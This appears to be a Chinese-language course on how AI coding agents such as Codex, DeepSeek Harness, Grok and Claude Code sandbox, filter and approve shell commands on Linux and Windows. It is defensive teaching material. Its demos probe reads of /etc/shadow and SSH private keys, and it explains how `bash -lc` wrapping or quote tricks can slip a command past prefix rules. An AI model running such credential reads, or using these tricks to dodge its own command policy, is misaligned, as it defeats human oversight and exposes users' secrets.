跨平台能力不对等时,最容易犯的错是用「我们有 Linux 沙箱」覆盖所有 Linux。本机有新 bwrap、CI 容器禁了 user namespace、同事还在 WSL1,三台机器不是同一道墙。产品文案和模型说明必须按实际启用的那一层来写。

横向对比 · 三拍拆开之后,各自漏什么

DeepSeek Harness:探得过就换档,合成一拍

DSH 的 Linux 链写死为 bwraplandlock。bwrap 档是视图加 exec,没有 seccomp。探不过才走 landlock-run:在自己身上装规则,再 exec 目标命令。文件系统限制和 exec 合在同一份 main 里。这条路径没有 setuid bwrap,所以不必把过滤器再拆到下一拍。

两边都走独立辅助进程。DSH 启动器失败是 125,还要同时看到 landlock-run: 致命行,更好自动归因。Codex helper 失败是 panic 或原样 wait status。两条链都探失败,DSH 拒绝裸跑。它可以换探测过的第二档,换完仍 fail closed。Codex 默认路径失败不回退 Landlock。出处:packages/sandbox/sandbox-local/src/index.ts 第 159 至 166 行;native/landlock-run/packages/entry/src/main.c 第 254 至 261 行

已核对 DSH PLATFORM_CHAINS 与 landlock-run · 2026-08-22 · DSH · 沙箱

Grok:三拍打在 agent 上,失败可以回退

Grok 的顺序和 Codex 同一条工程理由:先让可能依赖 setuid 的 bwrap 跑完,再在已经进命名空间的进程里收紧。差别在主体。Grok 把三拍打在 agent 进程上,命令只继承结果。视图是补丁式的 --bind / / 再盖 deny 路径,主机树还在。子进程 spawn 时,若需要限网,才在 pre_exec 里装 seccomp。

bwrap exec 失败且不要求 read-deny 时,它警告一句,回退到 Landlock。内置 Profile 的 apply 失败记警告并继续,is_active() 才是真状态。Codex 外层写明 never falls back。出处:crates/codegen/xai-grok-shell/src/config/mod.rs 第 1293 至 1320 行;crates/codegen/xai-grok-sandbox/src/lib.rs 第 181 至 192 行

已核对 Grok bwrap_reexec_for_profile 与 apply · 2026-08-22 · Grok · 五种沙箱 Profile
课堂练习
01

同一条读取,换开关之后卡在哪

把探针留在读 /etc/shadow,先打开 WSL1。写下预测:停在哪一层,文案是什么。再关掉 WSL1,打开 legacy Landlock,看受限读会不会变成 UnsupportedOperation。

进阶一问:探针换成 connect 外网。为什么默认路径会穿过视图、停在 seccomp,文案从 No such file 变成 EPERM。

Takeaway:Linux 默认路径是三拍:先用 bubblewrap 换文件系统视图,再在已经进命名空间的 helper 里上 seccomp,最后才 exec。顺序反了,setuid 的系统 bwrap 会起不来。类型名还叫 Landlock,那是兼容,不是现行默认。进不去就在 spawn 之前拒绝,失败不换更弱的后端。
OpenAI Codex · 代码模式

Windows:受限令牌、防火墙过滤器与两个专用系统用户

没有 seatbelt,也没有 bubblewrap。Windows 上的沙箱是三道关卡叠起来的:令牌管写,专用账户管你是谁,WFP 按这个身份滤网。AppContainer 对不上这份权限模型,整套还默认关着。

课程目标读完能说清三件事。Windows 上为什么只能按身份锁资源。受限令牌那三个标志为什么管得住写、管不住读和网络。为什么要两个专用系统用户,以及 AppContainer 为什么被放下。
先玩一遍 · 一个请求穿过三道关
换动作、换档位,看请求在哪一关停下
动作
档位
先看 Elevated 怎么把读挡在身份关。再降到 RestrictedToken,同一条读取会穿过去。
这次请求
读 C:\Users\you\.ssh\id_rsa
当前身份
CodexSandboxOffline
关卡 1 · 受限令牌待命
三个标志裁令牌。写必须过交叉检查,读在这一档仍跟当前用户走。
关卡 2 · 专用系统用户待命
Elevated 才登录 CodexSandboxOffline 或 Online,按账户 ACL 挖空 .ssh 这类目录。
关卡 3 · 防火墙过滤器待命
只给离线账户装持久 WFP。ICMP、DNS、SMB 被内核滤掉,普通出站给出站防火墙。
点播放,看这个请求依次走过三道关。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. Windows 开关关着,平台沙箱返回空,后面不会包包装器manager.rs L62
  2. 需要沙箱时,用自己的 exe 加隐藏参数当包装器wrapper.rs L20
  3. 三个标志裁出受限令牌:削特权、LUA、写必须过交叉检查token.rs L480
  4. RestrictedToken 这一档,读检查不看 capability SIDwindows.rs L109
  5. Elevated 先用专用账户登录,再从那个令牌往下裁runner_client.rs L348
  6. 两个账户名写死:Offline 与 Onlinesetup.rs L50
  7. 网络策略未开或走代理时,选 Offline 身份setup.rs L706
  8. 只给离线账户装持久 WFP 过滤器wfp.rs L75
  9. 用户配置根默认挖空 .ssh 等目录setup.rs L56
  10. 没有后端时,只读档案加 Never,未匹配命令必须 Forbiddenexec_policy_windows_tests.rs L113
点播放,看这个请求依次走过三道关。
令牌档只锁写RestrictedToken 从当前用户裁令牌。读工作区外的文件、往外发网络,这两条都会穿过。要拦它们,必须换 Elevated。
身份关才有挖空.ssh 出现在用户配置排除列表里。只有登录了专用账户,这份 ACL 才会生效。
网络挂在 SID 上WFP 只装给离线账户。令牌档没有这两个账户,第三关根本不存在。
教学示意:路径与账户名为课程化设定。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 没有进程视图,就按身份锁资源
它解决什么问题

同事在 Mac 上跑 Codex,agent 去碰用户目录里的 SSH 私钥路径,立刻被 Seatbelt 拦住,错误写着 Operation not permitted。同一条读取放到 Windows 上,报错变成 Access is denied。再换一台没开 Windows 沙箱的机器,这条命令可能根本走不到 ACL,execpolicy 先把它判成 Forbidden 或 Prompt。

三台机器、同一份意图、三种失败。模型看到的下一句话不一样,下一步也会跟着变。如果 Windows 上假装有和 Unix 一样的默认沙箱,模型会按自己被关着去规划,实际命令裸跑。

思路是什么

macOS 限制这个进程能对哪些路径做哪些操作。Linux 限制这个进程能看见什么、能调哪些系统调用。Windows 没有 namespace,也没有 seccomp。Codex 换成另一套问题:这个身份能碰哪些资源。

令牌决定你是谁。RestrictedToken 档从当前用户令牌裁,Elevated 档先用专用账户登录,再从那个令牌裁。两边最后都进同一组标志:DISABLE_MAX_PRIVILEGELUA_TOKENWRITE_RESTRICTED。特权被削薄,写必须同时通过普通 ACL 和 restricting SID 的交叉检查。

读在 RestrictedToken 这一档仍然跟当前用户走。源码自己写了:WRITE_RESTRICTED 令牌上的 capability SID deny-read ACE 不参与读检查,所以读限制必须走 Elevated,裸跑会被直接拒绝。出处:codex-rs/windows-sandbox-rs/src/token.rs 第 480 行;codex-rs/sandboxing/src/windows.rs 第 109 至 117 行

macOS 锁进程能做什么 SBPL 文本 file-read 规则拒绝 Operation not permitted Linux 锁进程能看见什么 bubblewrap 视图 路径不在挂载里 No such file or directory Windows 锁这个身份能碰什么 令牌加 ACL 身份没有权限 Access is denied
教学化结构图:同一条读取,三套隔离锁在不同层,模型看到的失败语义也不一样。
为什么长期成立

主体能做什么,和客体能被谁碰,是两套隔离原语。换语言重写,Windows 上仍然没有 bwrap 可以调用。该问的还是:你有没有一份身份,这份身份被允许碰什么。

包装方式也是同一类自我调用。Windows 用自己的 exe 加上隐藏参数 --run-as-windows-sandbox,跟 Linux 改 arg0 是同一思路。出处:codex-rs/windows-sandbox-rs/src/wrapper.rs 第 20 行

思路二 · 一个身份只能挂一套网络策略
它解决什么问题

WFP 是 Windows Filtering Platform,一套内核里的包过滤框架。它和防火墙规则都按 SID 匹配。一个 SID 只能对应一套网络策略。同一身份没法同时表示完全没网,也没法同时表示可以走代理或出网。

思路是什么

所以用两个本地用户当两个网络身份:CodexSandboxOfflineCodexSandboxOnlinefrom_permissions 在强制走代理,或网络策略未启用时,选 Offline。离线身份装出站阻断、代理端口白名单,再加 12 条 WFP,覆盖 ICMP、DNS 53、DNS-over-TLS 853 和 SMB。在线身份不装这套阻断。

Unix 的网络隔离是给进程换一张网卡视图。WFP 是进程还在主机网络栈上,只是这个 SID 发出的特定流量被挡住。进程仍然能看见网卡、解析失败、连别的端口。

过滤器用稳定 GUID 标识,带着持久标志,重启后还在。卸载和崩溃都不会自动拆掉它们。仓库里检索不到删除用户或拆除 WFP 的函数。WFP 失败被写成非致命,防火墙失败会让 setup 整段失败。出处:codex-rs/windows-sandbox-rs/src/setup.rs 第 50 至 51 行、第 706 至 714 行;codex-rs/windows-sandbox-rs/src/wfp.rs 第 69 至 95 行

一个 SID,两套互相打架的网策 同一个账户 完全没网 可以走代理或出网 过滤器按 SID 匹配,装不上两套 两个账户,两套网策 CodexSandboxOffline 12 条 WFP 加出站阻断 Online 不装这套阻断 出网
教学化结构图:网络策略有两档,就需要两个身份。
为什么长期成立

按身份做访问控制,身份数量必须覆盖策略组合数。网络策略有两档,就需要两个身份。这和用两张门禁卡进两栋楼是同一件事,跟 WFP 这个具体 API 无关。

思路三 · AppContainer 对不上,Elevated 又太贵,所以默认关
它解决什么问题

有人会问为什么不上 AppContainer。它的可读范围默认很窄,任意路径读取要改宿主 DACL。Codex 需要 workspace 可读、平台根可读,再按 deny 列表挖空。受限令牌加 ACL 更贴这份权限模型。在 codex-rs/ 里检索 AppContainer,业务代码零命中。对照仓库 DeepSeek Harness 把同一判断写成了明文:AppContainer 做不了任意路径读取。

Elevated 要把读和网络也管住,就要建账户、弹 UAC、改防火墙和 WFP。企业策略可能禁止本地建用户。把默认设成 Disabled,等于把这道产品摩擦留给第一次启用。

思路是什么

枚举自己把默认值写成关。没写 windows.sandbox、两个 legacy flag 也没有时,就落回 Disabled。legacy flag 已经被标成 Removed。

codex-rs/protocol/src/config_types.rs第 297 至 302 行
pub enum WindowsSandboxLevel {
    #[default]
    Disabled,
    RestrictedToken,
    Elevated,
}
源码快照说明:依据本地仓库 openai/codex,核对文件 codex-rs/protocol/src/config_types.rs,commit 4f39251a01,核对日期 2026-08-22。代码块保留源码原文,#[default] 钉在 Disabled 上。

关掉之后,平台沙箱确实没了。get_platform_sandbox(false) 在 Windows 上返回空,select_initial 把它变成 SandboxType::None。命令仍可能被策略层拦住。Windows 测试锁住了这条:没有后端时,只读档案加 Never 审批,未匹配的 cmd.exe /c dir 必须是 Decision::Forbidden出处:codex-rs/sandboxing/src/manager.rs 第 62 至 72 行、第 301 行;codex-rs/core/src/exec_policy_windows_tests.rs 第 113 至 130 行

AppContainer 默认可读范围很窄 任意路径要改宿主 DACL 对不上这份权限模型 组合拳 令牌锁写 专用账户锁读 WFP 按 SID 滤网 要 UAC,要本地用户 默认 Disabled execpolicy 兜底
教学化结构图:用得上的那套太贵,默认先关,策略层兜住裸跑。
三道关卡,一道管写,一道管你是谁,一道管这个身份能出哪扇网门。
为什么长期成立

隔离深度跟安装预算挂钩。只防模型误改仓库,当前用户受限令牌就够。要防读出密钥再从这台机器往外传,必须再做读限制和按身份的网络过滤。承诺了做不到的墙,模型和用户都会按那道墙做决策。

跨平台能力不对等时,对外说法必须按实际启用的那一层来写。macOS 默认就有 Seatbelt,Windows 默认可能是 Disabled。用户听到有沙箱,会以为三台机器同一道墙。

横向对比 · 同一组标志,三种愿意付的代价

DeepSeek Harness:同一组标志,停在写限制

DSH 的 @deepseek-ai/dsh-sandbox-windows-acl 用同一组 CreateRestrictedToken 标志:DISABLE_MAX_PRIVILEGE | LUA_TOKEN | WRITE_RESTRICTED。README 写明读、网络、进程可见性不受限,enforcement 标成 partial。它不建专用账户,不装 WFP。

设计笔记把 AppContainer 否掉的原因写死了:AppContainer 令牌没有环境读权限,任意路径读取必须预先授权,对不上 harness 的读模型。mxc 被否是因为系统版本底线太新,任意路径读取还是要改宿主 DACL。Codex Elevated 用两个账户加 WFP 把读和网络身份也做进去,代价是安装摩擦和卸载残留。DSH 换到的是装得上、跑得动,读侧和网络侧留给别的机制。

已核对 DSH token.ts / win32-abi.ts / README / 设计笔记 · 2026-08-22 · DSH · 沙箱:从 seatbelt 到执行世界

Claude 拒绝执行,Grok 把平台标成 unknown

Claude Code 在原生 Windows 上写明没有沙箱。企业策略要求沙箱且禁止无沙箱命令时,PowerShell 直接拒绝执行,文案是 sandboxing is not available on native Windows。它不假装有一层隔离。Grok Build 的沙箱 crate 把平台写成 linux/landlockmacos/seatbelt,其余标 unknown。在 xai-grok-sandbox 里检索 AppContainerRestrictedTokenCreateRestrictedToken,没有对应实现。

答案分成三档。Claude 和 Grok 在 Windows 上不做文件系统沙箱。DSH 做了写限制,装得上,读和网络留给别的机制。Codex 把身份、ACL、WFP、专用账户全做进去,摩擦更大,所以默认关着。

已核对 Claude PowerShellTool.tsx、Grok types.rs · 2026-08-22 · Grok · 五种沙箱 Profile
课堂练习
01

同一条读取,换档之后卡在哪

把演示里的动作留在读工作区外,档位从 Elevated 降到 RestrictedToken。先写下你的预测:哪一关会放行,哪一关会消失,最后是 Access is denied 还是穿过。再点播放核对。

进阶一问:把动作换成发网络。为什么 RestrictedToken 档第三关是跳过,Elevated 档才会亮起 WFP。

Takeaway:Windows 没有 seatbelt 和 bubblewrap,隔离只能按身份锁资源。RestrictedToken 那三个标志管写,不管读和网络。要拦密钥和出网,必须再上专用账户、ACL 和按 SID 装的 WFP。AppContainer 对不上这份可读集合,Elevated 又要 UAC,所以默认关着,execpolicy 在没有后端时改成 Forbidden 或 Prompt。
OpenAI Codex · 代码模式

execpolicy:让策略文件自带测试用例

白名单写错,通常要等线上才知道。Codex 把正反例写进规则本身,加载时就地跑一遍。规则和例子打架,这份策略进不了会话。

课程目标读完能说清两件事。一条命令进策略之后怎么被拆开、怎么按前缀命中、最后判成 allow、prompt 还是 forbidden。以及规则旁边的正反例,为什么能在加载期把误伤钉死。
先玩一遍 · 一条命令过策略
同一份策略,四条命令,三种写法
命令
安全的、带危险参数的、看起来像危险的、伪装成包装的。点一条再播。
策略
1 拆解等待
2 加载校验等待
3 前缀匹配等待
4 最严判定等待
这一步看见的 argv
还没有切词。
策略自带的测试用例
正例必须命中未跑
git reset --hard
反例必须放过未跑
git reset --keep
点播放,看这条命令怎么被拆开、命中哪条规则、判成什么等级。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 读入策略文本,开始 parseparser.rs L57
  2. Starlark 求值 prefix_rule,缺 decision 时默认 allowparser.rs L348
  3. 规则和正反例先挂到待校验队列parser.rs L405
  4. 先跑反例,命中就报 ExampleDidMatchparser.rs L145
  5. 再跑正例,没命中就报 ExampleDidNotMatchparser.rs L147
  6. 包装命令先拆成内层 argvexec_policy.rs L831
  7. 按第一个 token 精确取规则桶policy.rs L334
  8. 多规则或组合命令取最严policy.rs L403
  9. 判定映射成 Skip、NeedsApproval 或 Forbiddenexec_policy.rs L375
点播放,看一条命令怎么过策略,以及自带的正反例怎么把判定钉死。
加载期先崩前缀写短或反例写错时,四条命令都没有机会进入 allow 或 forbidden。策略还没交出去,错例已经把加载打断。
--keep 为什么能活正确规则把 pattern 写成三段。第三个 token 对不上 --keep,禁令不亮。这不是靠启发式放过的,是作者用反例把边界钉死的。
包装挡不住bash -lc 包一层,拆得开就按内层再判。拆不开才整段回退。演示里这条包装拆得开,所以仍是 forbidden。
教学示意:舞台只演示示例策略里禁止 git reset --hard、放行 ls 这两条。不执行真实 shell。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 规则和例子写在同一处
它解决什么问题

你给团队写一条禁令,pattern 写成 git 加 reset。本意是拦 --hard。过了一周有人报,--keep 也被拦了。前缀一短,后面跟什么都命中同一条。

再过一周,模型用 bash -lc 包了一层。禁令按字面 argv 去匹 bash,第一条对不上,命令进了启发式通道。

白名单每条都在赌两件事。一是 pattern 刚好覆盖你想拦的。二是它不会误伤你想放的。这两件事通常要等线上才知道。下一次改 pattern 的人,也看不到作者当初怕误伤哪条命令。

思路是什么

Codex 把正反例写进规则本身。match 里是这条规则必须命中的命令,not_match 里是它必须放过的命令。prefix_rule 并不当场跑例子,它先把规则和例子推进待校验队列。整份 Starlark 求值完,parse 再统一校验。

顺序固定。先跑反例,再跑正例。反例误命中,报 ExampleDidMatch。正例一个都没命中,报 ExampleDidNotMatch。两种错都让 parse 返回失败,Policy 不会被 build 出去。出处:codex-rs/execpolicy/src/parser.rs 第 57 至 78 行,以及第 133 至 151 行

crate README 把这件事写成一句话:它们是加载期校验的示例调用,可以当成单元测试。字符串和 token 数组两种写法进解析器后都会变成 token 列表,字符串走 shlex 拆词。校验时启发式回调传空,正例必须靠真实前缀规则命中,不能靠启发式凑数。

Starlark 求值 挂上规则和例子 先跑反例 必须一条都不命中 再跑正例 必须至少命中一条 交出 Policy 加载失败 例子对不上,策略还没交出去就已经停 错误会带上 prefix_rule 调用处的行列号
教学化时序:求值只负责收集,校验发生在 build 之前。
为什么长期成立

白名单的典型失败,是作者以为 pattern 是这个意思。把以为写成例子,机器可以反对。这条不依赖 Starlark,换成 JSON 或 YAML 也能抄。

规则和例子写在同一处,策略文件被拷进用户目录或被 overlay 下发时,例子跟着走。加载器没有只读规则、不跑例子的分支。漏写例子等于漏写测试,加载器不会替你编例子,写了就会强制执行。

思路二 · 前缀匹配,多规则取最严
它解决什么问题

正则能写 git reset 后面跟任意参数,也能写出作者自己都读不懂的例外。叠加规则时如果取最宽,用户层一条宽松的 allow 就能盖住系统层的 forbidden。

思路是什么

规则本体是一段前缀。匹配是精确字符串相等,没有 glob,没有正则。git reset --hard 能吃后面再跟 origin/main 的命令,因为多出来的 token 不参与比较。它吃不了中间插了 --config 的写法,因为第二个 token 对不上。出处:codex-rs/execpolicy/src/rule.rs 第 46 至 59 行

规则按第一个 token 放进桶。查找时先按 argv 第零项精确取。取不到,再考虑把绝对路径收成 basename。命中多条时,对 decisionmaxDecision 派生了 Ord,变体书写顺序就是严重程度:Allow 小于 Prompt 小于 Forbidden。

组合命令先拆段再摊平,再取一次 max。一段 git status 是 Prompt,一段 git commit 是 Forbidden,整条管道仍是 Forbidden。出处:codex-rs/execpolicy/src/policy.rs 第 265 至 287 行,以及第 402 至 411 行

git 前缀 decision = prompt git commit 前缀 decision = forbidden git commit -m hi 两条都进 matchedRules max = Forbidden Allow < Prompt < Forbidden 叠加只能加严。序写在枚举变体上,没有另一张优先级表
教学化对照:同一条命令命中两条规则,对外只认更严的那一个。
为什么长期成立

叠加只能加严,不能放宽。这个序写在枚举变体上,运行时没有另一张优先级表可以写错。换语言重写,三个字符串做成有序枚举,聚合用一次 max 就够。

前缀强迫你把意图落成 token 序列。代价是插在中间的参数会让规则失效,作者必须用更短的前缀或另写一条。正反例就是用来接住这条代价的:写短了,反例会在加载期先崩。

思路三 · 先拆包装,拆不出来整段回退
它解决什么问题

禁令写的是 git reset --hard。模型写成 bash -lc 包一层。按字面 argv 去匹,第一条是 bash,禁令不亮。

思路是什么

判定前先走 parse_shell_lc_plain_commands。它要求脚本只由纯词命令加 &&||、分号、管道组成,拒绝重定向、替换、括号、控制流。过关后按命令节点切成多段 argv。bash -lc 包着 git reset --hard,会被拆成内层那三段,再拿去匹前缀。出处:codex-rs/core/src/exec_policy.rs 第 831 至 858 行

拆不出来时,整段 argv 当一条命令,交给启发式和后续沙箱。空引号插在参数里还能还原。空引号插在命令名里,word-only 解析失败,前缀规则看不见 git,这条命令掉进启发式。

吃不下的脚本,就不要假装已经看懂。
为什么长期成立

解析器承认自己吃不下的东西,就不假装已经看懂脚本。这是 fail closed 的通用形状。它挡得住解析成功但漏掉危险段。拆失败之后,启发式和沙箱还在。

横向对比 · 同一道题的另一种答法

DeepSeek Harness:两个旋钮加一个下拉框

DSH 不写命令级 pattern。权限预设把沙箱模式和审批策略捆成一包。默认表只有两行:workspace-writeaskdanger-full-accessnever。审批策略本身只有 asknever

旋钮好懂。你无法在预设里写出只禁 git reset --hard、其他 git 照常。那种例外要么进沙箱拒绝后的升级审批,要么进自定义旋钮组合,界面上显示为保留名 custom。下拉框覆盖日常切换,点名禁止的长尾它盖不住。

两侧均已核对源码 · 2026-08-22 · DSH · 审批与权限

Claude Code:工具名加可选内容的 allowlist

规则字符串长成 Bash,或 Bash(npm install),或 Bash(git *)。解析器按括号切开工具名和内容。shell 规则再分成精确、前缀、通配三类。

检索 matchnot_matchexample 作为规则字段,没有加载期正反例校验。git * 一旦写进 allow,git reset --hard 也会被这条通配吃掉,除非另写一条更具体的 deny。Codex 用更短的精确前缀加反例,把例外钉在加载期。Claude Code 把例外留给规则叠放顺序和运行时确认。

两侧均已核对源码 · 2026-08-22
课堂练习
01

前缀写短,加载还是判定

把禁止 git reset --hard 的 pattern 改短成 git 加 reset,not_match 仍写 --keep。加载时会走 ExampleDidMatch 还是 ExampleDidNotMatch,命令还有没有机会进入判定。

进阶一问:同一条坏规则下,ls -l 会不会先出 allow。演示里把策略切到「前缀写短」再播一遍,对一下你的推演。

Takeaway:规则和例子写在同一处,加载时就地跑。正例必须命中,反例必须放过,打架就拒绝加载。前缀精确比较,多规则取最严。包装先拆开,拆不出来整段回退。
OpenAI Codex · 代码模式

审批策略:同一条命令,问不问看哪两颗旋钮

默认问不问跟沙箱种类绑在一起。问过一次之后,记住的是完整命令,还是一段前缀。

课程目标读完能说清两件事。同一条命令为什么会从直接放行变成必须有人点头。以及你点过一次 Yes 之后,下次还问不问,系统到底记住了什么。
先玩一遍 · 同一条命令,换策略看结局
四种策略,三种沙箱,看哪一格盖放行、问人、拒绝
命令
前三条走 Allow。第四条命中 execpolicy 的 Prompt。
策略
沙箱
旋钮
点格子也能跳到那一格。两套记住互斥。
十二格沙盘 · 只读和工作区常常盖同一张章Restricted 两行会撞车
CodexOnRequest · workspace-write
等待点播放,看同一条命令换策略之后盖哪张章。
给模型的说明书策略还没选定。
DSHask · workspace-write
等待两颗旋钮独立。全盘可写仍可继续提问。
记住什么只有 allowed-once。问过一次,下一次还问。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 读当前 turn 的 AskForApprovalprotocol.rs L924
  2. 看 FileSystemSandboxKind 是不是 Restrictedpermissions.rs L227
  3. Never 给 Skip,UnlessTrusted 给 NeedsApprovalsandboxing.rs L198
  4. OnRequest 或 Granular 只在 Restricted 时要问sandboxing.rs L200
  5. Granular 要问且关掉沙箱审批则 Forbiddensandboxing.rs L209
  6. execpolicy 的 Prompt 再过第二道闸exec_policy.rs L214
  7. 会话缓存只收 ApprovedForSession,认精确 keysandboxing.rs L108
  8. 策略改了,给模型的说明书一起改permissions_instructions.rs L271
点播放,看同一条命令从直接放行一路变到必须有人点头。
十二格里有几格一样read-only 和 workspace-write 都是 Restricted。OnRequest 在这两行盖同一张问人章。danger-full-access 把 kind 拧成 Unrestricted,默认函数不再问。
Never 也会拒绝策略要求提问时,Never 把提问升级成拒绝。关掉 sandbox_approval,只挡住本来要弹的窗。文件系统已经 Unrestricted,Forbidden 分支进不去。
两套记住按会话记住 npm run test,再跑 npm run lint,key 对不上还要问。按前缀记住才会把范围扩出去。常规弹窗默认露出的,是前缀那一条。
教学示意:舞台只演示判定函数和两套缓存的结构差异,不执行真实命令。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 默认问不问,跟沙箱种类绑在一起
它解决什么问题

你把审批留在 on-request,沙箱从 workspace-write 拧到 danger-full-access。十分钟前那条出沙箱命令还会弹窗。现在不弹了。你没改审批旋钮。

审批策略 AskForApproval 是当前 turn 用哪套问人规则,类型里有四个变体。文件系统沙箱种类是三个,默认 Restricted,意思是只读或只能写工作区。这两颗旋钮在同一个判定函数里。改其中一颗,另一颗的行为会跟着走。出处:codex-rs/protocol/src/protocol.rs 第 924 至 947 行,以及 codex-rs/protocol/src/permissions.rs 第 227 至 232 行

思路是什么

一条命令先读审批策略,再看文件系统是不是 Restricted,再让 execpolicy 把 Allow、Prompt、Forbidden 叠上去。execpolicy 是按命令文本给出三态的规则文件。

默认问不问写在 default_exec_approval_requirement。Never 这一层给 Skip。UnlessTrusted 这一层给 NeedsApproval。OnRequest 和 Granular 只在 Restricted 时要问。read-onlyworkspace-write 都是 Restricted,所以这两格的默认结局一样。danger-full-access 把 kind 变成 Unrestricted,默认函数走 Skip。出处:codex-rs/core/src/tools/sandboxing.rs 第 198 至 230 行

Granular 还多一个闸。需要审批、且 sandbox_approval 关掉时,直接 Forbidden。文件系统如果已经是 Unrestricted,needs_approval 先变成假,Forbidden 分支进不去。关掉沙箱审批,只挡住本来就要弹的窗。

Never 遇到 execpolicy 的 Prompt,提问会升级成拒绝。它并不表示什么都准跑。出处:codex-rs/core/src/exec_policy.rs 第 214 至 236 行

命令到达 AskForApproval 文件系统 kind 是不是 Restricted 默认要求 Skip / 问人 / 拒绝 Allow 则开跑 Prompt 再过一闸 OnRequest 加 Unrestricted,默认 Skip。Never 加 Prompt,提问升级成拒绝。
教学化结构图:先出默认要求,再让 execpolicy 叠一层。

untrusted 写不进配置。类型还在,公开字符串已经退休。用户显式写出,整次加载失败。没写才看项目信任:已信任走 OnRequest,明确未信任走 UnlessTrusted。出处:codex-rs/core/src/config/mod.rs 第 3607 至 3625 行

还有一个加载期硬拒绝。requirements 不允许 danger-full-access,配置却写了 approval_policy = "never",加载器会先把权限档案回落到只读。只读加上从不提问,等于模型在窄沙箱里还没人可问。这种组合直接判非法。出处:codex-rs/core/src/config/mod.rs 第 3969 至 3979 行

为什么长期成立

全盘可写时,再问一次出沙箱没有意义。两颗旋钮绑在一起,少弹窗。代价是改沙箱会静默带走审批行为。换个语言重写,仍要先回答:全权模式还要不要问人。

策略枚举靠穷尽分支表达规则。新加一个变体,编译器会逼所有判定函数表态。这是类型在替运行时守门。

思路二 · 问过之后,记住什么
它解决什么问题

弹窗上两条记住长得很像。一条是本会话记住这条命令。一条是把前缀写进 execpolicy,跨会话生效。点错了,后面的边界题就会答反。

常规 exec 弹窗默认菜单里,甚至没有 ApprovedForSession。有网络上下文时才带上它。普通命令给一次批准,有前缀修正提案时再加按前缀记住,最后是取消。用户最常碰到的记住,是前缀那一条。出处:codex-rs/protocol/src/approvals.rs 第 314 至 347 行

思路是什么

会话缓存活在 ApprovalStore 里,跟会话同寿命。key 是规范化后的完整命令,外加 cwd、环境和 execpolicy 指纹。所有 key 都已经是 ApprovedForSession 才命中。Approved 一次放行不会进 map。出处:codex-rs/core/src/tools/sandboxing.rs 第 64 至 116 行

npm run test 批准进会话,npm run lint 是另一把 key。/bin/bash -lcbash -lc 在能拆出单一明文命令时,缓存成同一组 token。会话缓存认完整命令,不认 npm *。前缀扩张只走 execpolicy。

改审批策略不会清空这座 map。key 里没有 AskForApproval。中途从 OnRequest 改成 UnlessTrusted,已经缓存的批准仍算数。改 execpolicy 会改指纹,缓存才会失效。

用户点决定 ReviewDecision ApprovedForSession 精确 key 入会话抽屉 ApprovedExecpolicyAmendment 前缀写入规则文件 下次完整命令相同 才跳过弹窗 前缀匹配就放行 跨会话,范围更大 Approved 只放行这一次,不进 map。npm run test 和 npm run lint 是两把 key。 常规 exec 默认菜单常常只露出前缀这一条。
教学化对照:一层认完整命令,一层认前缀并落盘。
为什么长期成立

两套记住对应两种威胁。精确 key 挡不住换参数。前缀挡得住换参数,也容易把包装命令的范围扩太大。两层分开,才能各自配禁建议名单。一天弹窗不多的时候,先只做一次放行也成立。

思路三 · 策略改了,说明书一起改
它解决什么问题

策略改了,只改运行时分支不够。模型看到的说明必须同步改,否则它会按旧规则去要 require_escalated。Never 下面如果说明书还在教它提权,运行时会把提问升级成拒绝,模型只会反复撞墙。

思路是什么

权限说明是一段 developer 消息。先选沙箱模板,再选审批模板。Never、UnlessTrusted、OnRequest 各有现成 markdown。Never 那份只有一句:不要再给 sandbox_permissions,命令会被拒。Granular 没有第五份文件,按五个开关现场拼允许列表和拒绝列表。两套说明拼在同一段里,模型一次看到当前组合。出处:codex-rs/prompts/src/permissions_instructions.rs 第 271 至 291 行

钩子在人前面。钩子给出 Allow 或 Deny,弹窗就不会出现。钩子的 Allow 是一次 Approved,不写会话缓存。

策略改了,说明书必须一起改。
为什么长期成立

运行时和模型说明书是同一份合同的两面。判定函数改了,字典那一行必须一起改。把这两份放在同一个模块,用同一组测试喂两边,换语言也用得上。

横向对比 · 旋钮独立还是绑在一起

DSH:两颗旋钮,一次授权不扩大

DSH 的审批策略只有 asknevernever 在分派给回答者之前就返回 rejected,后挂的监听器改不了这个承诺。授权结果只有 allowed-once。没有本会话缓存,没有前缀修正。问过一次,下一次还问。出处:packages/interaction/user-approval/src/index.ts 第 84 至 94 行,以及第 304 至 312 行

沙箱和审批是两颗独立旋钮。用户看见的下拉框是预设表:workspace-writeaskdanger-full-accessnever。点下一档时分别调用两颗 setter。对不上表就显示 custom。所以 DSH 可以单独把审批留在 ask、把沙箱拧到全盘可写。Codex 的 OnRequest 在 Unrestricted 上默认 Skip,这个组合在默认函数里不可独立存在。出处:packages/interaction/permission-presets/src/index.ts 第 167 至 176 行

两侧均已核对源码 · 2026-08-22 · DSH · 审批与权限

Claude Code:记住写进规则表

Claude Code 对外的权限模式是五档,外加内部的 autobubble。规则来源包括 userSettingsprojectSettingssessioncliArg。判定先查整工具级 deny,再往下走。出处:restored-src/src/types/permissions.ts 第 16 至 29 行,以及 restored-src/src/utils/permissions/permissions.ts 第 1169 至 1181 行

alwaysAllowRules 可以按来源记下允许项,session 是其中一档。下次按规则匹配,不必完整 argv 相等。代价是匹配函数必须自己防包装。Codex 把扩大范围交给 execpolicy 前缀和禁建议名单。dontAsk 接近 Never。Codex 没有公开的全放行审批策略,Never 仍会被 execpolicy 拦住。出处:restored-src/src/types/permissions.ts 第 54 至 62 行,以及第 433 行

两侧均已核对源码 · 2026-08-22
课堂练习
01

拧沙箱,弹窗还在吗

审批留在 on-request,沙箱从 workspace-write 拧到 danger-full-access。再跑一条会写工作区外路径的命令。弹窗还在不在?为什么?

接着把同一条 npm run test 按会话批准,再提交 npm run lint。缓存该不该命中?如果点的是按前缀记住,答案会不会变?

Takeaway:同一条命令问不问,看审批策略和文件系统是不是 Restricted。Never 遇到必须提问的规则,提问会升级成拒绝。问过之后的记忆分两层:会话层认精确 key,持久层才允许前缀。策略改了,给模型的那句话必须一起改。
OpenAI Codex · 代码模式

Guardian:让一个模型去审批另一个模型

审批弹窗多到人开始无脑点同意时,Codex 把决定权交给一次锁死的审查会话。超时、坏 JSON、连续拒绝,各有各的收场。

